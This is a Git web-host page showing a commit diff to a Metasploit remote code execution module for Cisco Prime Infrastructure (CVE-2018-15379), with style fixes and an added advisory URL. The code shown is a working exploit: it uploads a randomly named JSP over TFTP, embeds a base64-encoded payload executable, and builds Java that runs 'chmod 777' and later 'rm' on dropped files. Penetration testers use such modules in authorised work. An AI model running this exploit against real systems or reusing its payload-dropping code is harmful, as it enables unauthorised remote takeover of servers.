infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Style fixes and add full disc URL

GSoC/Meterpreter_Web_Console
Pedro Ribeiro 2018-10-09 13:38:13 +07:00 committed by GitHub
parent 22d0325d33
commit 9bbd90f978
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 26 additions and 21 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

47
modules/exploits/linux/http/cisco_prime_inf_rce.rb
View File

@ -1,6 +1,5 @@
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@ -36,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote
'References' =>
[
[ 'CVE', '2018-15379' ],
[ 'URL', 'FULLDISC_URL'],
[ 'URL', 'https://seclists.org/fulldisclosure/2018/Oct/19'],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-prime-infrastructure.txt' ],
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/3723' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181003-pi-tftp' ]
@ -68,21 +67,27 @@ class MetasploitModule < Msf::Exploit::Remote
'uri' => normalize_uri(datastore['TARGETURI'], 'swimtemp'),
'method' => 'GET'
})
if res && res.code == 404 && res.body.length == 0
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
if res.code == 404 && res.body.length == 0
# at the moment this is the best way to detect
# a 404 in swimtemp only returns the error code with a body length of 0,
# while a 404 to another webapp or to the root returns code plus a body with content
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
return CheckCode::Detected
end
CheckCode::Safe
end
def upload_payload(payload)
lport = datastore['LPORT'] || (1025 + rand(0xffff-1025))
lhost = datastore['LHOST'] || "0.0.0.0"
remote_file = rand_text_alpha(rand(14) + 5) + '.jsp'
remote_file = rand_text_alpha(5..16) + '.jsp'
tftp_client = Rex::Proto::TFTP::Client.new(
"LocalHost" => lhost,
@ -105,26 +110,26 @@ class MetasploitModule < Msf::Exploit::Remote
exe = generate_payload_exe
base64_exe = Rex::Text.encode_base64(exe)
native_payload_name = rand_text_alpha(rand(6)+3)
native_payload_name = rand_text_alpha(3..9)
var_raw = rand_text_alpha(rand(8) + 3)
var_ostream = rand_text_alpha(rand(8) + 3)
var_pstream = rand_text_alpha(rand(8) + 3)
var_buf = rand_text_alpha(rand(8) + 3)
var_decoder = rand_text_alpha(rand(8) + 3)
var_tmp = rand_text_alpha(rand(8) + 3)
var_path = rand_text_alpha(rand(8) + 3)
var_tmp2 = rand_text_alpha(rand(8) + 3)
var_path2 = rand_text_alpha(rand(8) + 3)
var_proc2 = rand_text_alpha(rand(8) + 3)
var_raw = rand_text_alpha(3..11)
var_ostream = rand_text_alpha(3..11)
var_pstream = rand_text_alpha(3..11)
var_buf = rand_text_alpha(3..11)
var_decoder = rand_text_alpha(3..11)
var_tmp = rand_text_alpha(3..11)
var_path = rand_text_alpha(3..11)
var_tmp2 = rand_text_alpha(3..11)
var_path2 = rand_text_alpha(3..11)
var_proc2 = rand_text_alpha(3..11)
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
var_proc1 = rand_text_alpha(3..11)
chmod = %Q|
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path} + " " + #{var_path2});
Thread.sleep(200);
|
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
var_proc3 = Rex::Text.rand_text_alpha(3..11)
cleanup = %Q|
Thread.sleep(200);
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path} + " " + #{var_path2});